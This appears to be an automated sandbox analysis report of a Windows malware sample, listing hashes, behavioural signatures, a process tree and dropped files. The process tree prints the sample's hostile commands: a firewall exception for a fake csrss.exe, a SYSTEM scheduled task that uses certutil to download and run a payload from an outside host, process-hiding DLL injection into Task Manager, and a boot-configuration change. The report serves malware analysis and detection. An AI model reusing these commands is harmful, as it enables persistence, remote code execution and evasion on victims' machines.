Analysis
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max time kernel
4s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
06/01/2024, 10:30
Static task
static1
Behavioral task
behavioral1
Sample
45c01d15784bc5edd77424b4a8f33bd7.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
45c01d15784bc5edd77424b4a8f33bd7.exe
Resource
win10v2004-20231215-en
General
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Target
45c01d15784bc5edd77424b4a8f33bd7.exe
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Size
4.4MB
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MD5
45c01d15784bc5edd77424b4a8f33bd7
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SHA1
8dea13b9008653e04fbe0c339fa18d5273f504f2
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SHA256
baecb1a58872b02bd2797902e49d4c791933968eac01e7891bc25b0fe47d0af4
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SHA512
a163f50f84f07dfbc09664ce7fa402a4507af3b83fa86eda248502aa0df7e15f20414f740d06a02ad8055d06ccab61c0c65f7f1a0a634b56b8213d4c6bbbad62
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SSDEEP
98304:YRRqu5E4LwYYX93bjAoXn5J2bdQPHw4lPmhQeHpNgpGPEoqX:YPq4MX93b8wn5YbdQvw4lPmhQeJNAGPi
Malware Config
Signatures
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Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 2008 netsh.exe -
Modifies boot configuration data using bcdedit 1 IoCs
pid Process 1916 bcdedit.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1652 schtasks.exe 1256 schtasks.exe -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 31 Go-http-client/1.1 HTTP User-Agent header 32 Go-http-client/1.1
Processes
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C:\Users\Admin\AppData\Local\Temp\45c01d15784bc5edd77424b4a8f33bd7.exe"C:\Users\Admin\AppData\Local\Temp\45c01d15784bc5edd77424b4a8f33bd7.exe"1⤵PID:2180
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C:\Users\Admin\AppData\Local\Temp\45c01d15784bc5edd77424b4a8f33bd7.exe"C:\Users\Admin\AppData\Local\Temp\45c01d15784bc5edd77424b4a8f33bd7.exe"2⤵PID:2676
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵PID:3056
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:2008
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /93-933⤵PID:2816
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:1652
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:1256
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵PID:2468
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:1916
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵PID:1704
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240106103127.log C:\Windows\Logs\CBS\CbsPersist_20240106103127.cab1⤵PID:2684
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
13KB
MD5e5e9581f19a21d9335b7ed7e680ece7c
SHA1ba6aa470deb049487f5669d3f180a5266ce07be7
SHA256ca41616beaa3e43d895765b09b650868202d43ffec305ac135c177225cbe1049
SHA512a06f92d4644e3c30c9cbd0510a45969c99b5159571e8c42f0200a5b12f94bf69dee22a5e8a0474d19103715c27e1ccd011412ffd1dcbc8e068cf38daa09e1394
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Filesize
1KB
MD5354e9fef8093169ab558b3f20c4bf81a
SHA1b2293505f7519daa90aecd20a1e3b236f74be983
SHA256ef8aab456cd4812c46735b308aa6e30d679289b8f2859c0afd0e9118c180f7a5
SHA5129c26b8026958b65233a568675bd0eb4ca589289200fd198eb15f574bf69273212eff684011bfb048a3af659fdf7395871e1b6666e36e83b471f67335d5ba5b27
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Filesize
1KB
MD514899bb280b156e4ca42a95df5724e36
SHA147dc380d86b9b6b654f0c5dd25ac363e62fa6147
SHA25648c72dd6c6350a8cc7b7e8b690718240b701c44b77a82e8af8a1dd0550ed314d
SHA512b1fc5b75e4ab585f4c9d611aa515e15dedb9aebf6edfc2980dcd9801d9a2ba5a1923761a344ca141bc4fd6c20be247d0f48cfcbf6aaec52319695362853ff644
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Filesize
5KB
MD57a43c2d54e26fe94f0c2ff798fe4385b
SHA1126692ccd4a5803efa3713c1deebbcf0906c0177
SHA2562345b137237962094b24116e067dc8db202d0a7a3e2e12e145574fdfbe2b61cb
SHA5123f0585a5039df7abfc2cba037ff235645939ba04d37662d33c9723f1700c2291c850b01aff542f5e7a34d90dde69a9647d9687068a612ed5841295a8f52c20a8
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Filesize
1KB
MD5ba28e2a2f186d232d0cb8784041b65ae
SHA1fdb5c6bd907e4990970c7fc6cd2d7a1d84e52e08
SHA2564bde582e142fd8de63c022b2d8962998308fd6a5e459d0fedfc251464f4667df
SHA5125c353cf7f00213c0c5a0d25fecaf56b76c1d61b39e0bc18275de216193c249e222fae6ac0e39ed1d9b47f4a33095ee9a57a7fc1a0d4acb9ea9246694f254f089
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
Filesize893B
MD5d4ae187b4574036c2d76b6df8a8c1a30
SHA1b06f409fa14bab33cbaf4a37811b8740b624d9e5
SHA256a2ce3a0fa7d2a833d1801e01ec48e35b70d84f3467cc9f8fab370386e13879c7
SHA5121f44a360e8bb8ada22bc5bfe001f1babb4e72005a46bc2a94c33c4bd149ff256cce6f35d65ca4f7fc2a5b9e15494155449830d2809c8cf218d0b9196ec646b0c
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5d3a76819753cabdbd08f2aaed063e0bf
SHA1cf245b70a3384ea718ab3549aa134390cbfa92ac
SHA25629c92d40ec021dabc3ae0bac3572e421ccaab82ae9fd3ac2a0bf9b5a6b07daa4
SHA512aca5a466d8a623225e4196c66b3b81ca2bd0d857e26ac9cabcb81aa87a1330f64c7f60f57c774c58c1eef480183ab1eff4758b795a5b1ef8fb238e5ff885dde2
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD586e78487fb0cf1fa4af0777a92b885e4
SHA19f006d62a6496f7092ca5ccecaeb5710c06e2076
SHA2565ea8e0661f9e2256ab30aa503b6c0236bcc16122f6fdc4c8fb7e3da2366fb510
SHA51201eb06db5619a7bdfe96f0b8bc2633b583908ae8a10f24d259aace816303154e530cdd0eb1088472ec3940dba332907dc6f95b1bab1717990d35410dff953199
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
Filesize252B
MD5f018574d90cf4790b88957895338d8bd
SHA10653ced8a722974612b28ae89c36784cecaa19ad
SHA25690a3e9a0350a44196d472f9f0977eb8c3507b061f99c59cdae21623b6df8f2ec
SHA5120f6d0f1182069237ebb5228c831cd3c64fb0f079eb26944d384683c2352c5aab7a6e65dba666fc27744fac1eb2b0366be4de7aa711a31ce0f891775262285673
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C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize242B
MD57d1820452eada07ec80c6678fb1fce20
SHA141e11168ac45cfff5a41959c7bffa66488fc3a9b
SHA256f9cb22fa0c8c3a1075921994e067d9e7d740f7230acacf006ab8d2e71d2ebf8a
SHA512de831313fe3ad2e1b59270e0cc7306bc8b667cb73162c7fca8a10365f7a78b7e0853bea372f34be42ef21cf28049b3b87d26915969b8f96617838f6a0f64f65c
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Filesize
54KB
MD508e14f545f5c68eab07add5e0fc9de40
SHA1fa575cc352ddfdc1ed88d640c66df37b06167450
SHA256c3ee877bdca80c1d4248e46c8410d4cca793e58991197138b0526e4ad62f8407
SHA512f2a7fba4ec1a401d5551ac48e535a975c783b1a57a62ee0deeea5557a6c4f2209f67416f554f64677ef932aa0d1f00e001206d577344d4b8299124e66e4772b2
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Filesize
34KB
MD5c2851979321fa92f677284ba8726a040
SHA1747d6809a9d21e273ea73b1fd10c174990542081
SHA256e3925bd9174b1c353059bd12d5667b3f9eb4a758c179b66bee2ea13080f02f4e
SHA5124c1bb2bb4069d717b60a9306e133ab44ad46ce0c0dc1b8e22d7ade90f100e8154fd582c31eb0ba659853d5a1940748667049412023c81b5fe118661350a674b3
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Filesize
1KB
MD5b8af25203690ef8325257815c7007523
SHA1f02d6f0b91e35d3eac3e9033a1d531ef3eddab2d
SHA25660af5e5653204f92c0df659b7c25ef7676dbf868eb7038122b903e261b01d6ba
SHA5123a4ddbc73e8c4c974df377c8c41c884ad5a1ec9a8b4a3fd3a6425db498cae28c46ac5c0b71411ea89f1db62e5e5960f8f9eeeae89c43499123694bb66542ae3d
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Filesize
5KB
MD5112d4dbb571f7a43f16caf530918c40a
SHA1fe2b123734438ff6914c0bdd26f1c98b59e517f2
SHA2564de7dd94ad7779d1752b75d9dab18dfd6a71746b9f491223765a4cb4676e1d85
SHA512694a2b54cfc523eb62d165a7765e38815c4b6abc2ebb06ae0003248dd56431ad4ca711e432defa41509afec06695f5ec83f93dea163fbe693a2ae3139b484b02
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Filesize
19KB
MD567afeeaf268f91ad3e13ddd9ed0de870
SHA179f7305a073d5d24e6e03c12dee96275d20982d2
SHA25669e090ffda20a94f4d25e22edf9e24026a3a4088fd0a2e8e3a8c5131092891e2
SHA51269fcc60e331577a9c1c0ed2e966e8cff52fe37d735e081fee3bace46fe7d03713ec5b5835a2601d576a6161f64c2a179a3ce4faa6d7e2baee63f6b256c48a789
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Filesize
21KB
MD5181cac59de2cd4493dda07d6c2995827
SHA19ff26bcf3dd50a93286814730d2876005791cb33
SHA2561a615113968b3df05408fc8d0c3a7dbc99560c3fb0b487a75881564798571b73
SHA51248b0f9c19ca152e4b76b5051bb0691b64b793e1f1bc5e9b1ff8e76870efa4aee0b1d96b86523bc0306f49e258cc4ce5472506d636a714d52167484a8d98d4832
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Filesize
51KB
MD591c7188587e72f9343387938b2795936
SHA1fbc2eb25497bc98733e0ff9df1dc8f6c4232b283
SHA25624876e099dd418a6082419156c0be735332837de92f55ede89f80c017292a724
SHA512cefba58b5dff24ffb4294f63a9d5a2a2c4be262e1953c6f363ac271598a73f90a30f6c91abb22d854b59650a612e3d01570cd63757d06aa223d44e4deb8891d9
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Filesize
53KB
MD50112ad4acb5cc3d5f72a95130f6a0585
SHA15af2cd69ab06d1376409b8d45bbf1f6888bec615
SHA256b9947c1a3574c759584b311fa0b1bc77f81713189047974948ed89f2b735f843
SHA512f09551e4b587da6ad82e55d4d2238dae2da9e884ceb2e641df67c17d9124a06e3ea9737073ec7af86e4573b993b28aabe7adf42b88e3f5a02f5acc1265442972
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Filesize
8KB
MD5614ea4d5033666e86db13f41d7abe6b1
SHA1c9f468252a55be2716884ef294369bf74a967d1d
SHA2568820026abd70ae98ab3aa24b5caf6ed50ad1da8516a63dda9d2ac39d6f7f8a83
SHA512528cb0b17704fc4d7d9863b64b0442f144f251467a1364c3d6e3f0fab577a49ef7497c4fa828f7396359a5b0755a6bd08c83a343489599a721650b0d335eec90
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Filesize
21KB
MD5f75bc391f3b053877dd389dbe0f755c3
SHA1175cc6dcb9dc93685c97ed480fd9a8ca9aefbc4f
SHA25650a692362b3ec0721ac1409199efdc2fb7c481b0883047ba3fdd8132e403357b
SHA512427223eaecda94fd8bee6f5b8eb7aedd0dba7a728be735911d9223a23c8cf35a3854199dcfae140c58167b3b6f23b726ee2f0d7c8aa7843b2a49f7b729299c10
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Filesize
10KB
MD5b4a714eacb7f7f3582a4ee681ac63855
SHA1726128bcafffa58cd8d13b3cd8a6b9fda0205036
SHA256faf4e45942415d6c3b510000e86511d4045f5b448ec48567cc4f358929c68421
SHA512913681c51027eac53e62f9944cc71cd9fe83b417277b8b3588889f827c7da393df86c74283b456e46de2df9a7b378a490562cc8e14053a3438ee914f104c4334
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Filesize
53KB
MD578acde0c97bd0de47f652a676a7ab5b2
SHA1884aea5eee46c48909279134cbe428880779b2d6
SHA2564fe73b515e56d10cf4d81b1e06575e3eac1c6d0b44c663feaa7cd951788a6be6
SHA51240d547becf5211d5c649e2d514cd82d7758d0b9721f603da098c74a302334b21e157f0870e8ac8704b5582a25a7d00f33e31358cc38f41aff2546540b22a89a6
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Filesize
75KB
MD52134a71de01c9347e9b2b479b4bcaf43
SHA1428fd58c13445d3a165f584bdb9d377a4c6254c6
SHA256b8f8a63651284061a44bf3febe5859277bdfba3bb742269b32489a92c5100edb
SHA512824861915d6c26790bfa7c029a4bbf212aa4ccaaec212d1ba9292a43256a1eef952e2fbfc1bb4dab98af44cbb6b4dcb2924ed7d0b0f1bfeda265cbdc3d48924d
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Filesize
11KB
MD508246018b6b2928be9fd5aa9b35cdfcf
SHA18078db430541db24bba85751cb7db237ee9e9510
SHA2567dc5e5356c78ff39fb6a8af03149b71905d6ad2198eca0c1b9c06007ee182ee5
SHA5121b5cef6ef1e2e213fb397bfa69959ec641e306e06d5a307da0a58121d33a356c78c75a4379eb56f9f9f8849cc3429c162e2647cf0907c5e35ac02711809c1ff0
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Filesize
29KB
MD5eebd18794c9fe5f26ccf08d65926eb97
SHA18c760cad4b295ce05473363caf0ae7b65f705797
SHA256728784e9e92591d08121a2f548259e5d26e7914d7435894d12538687860c09e8
SHA5128758b31c33ff6a5a219533f4bef8aa91b460d0d61d43c77641a4046b627be38b81cdb39c60c078125797b03d688329f3b3ee388cc31d6fa9b3775059b761bed8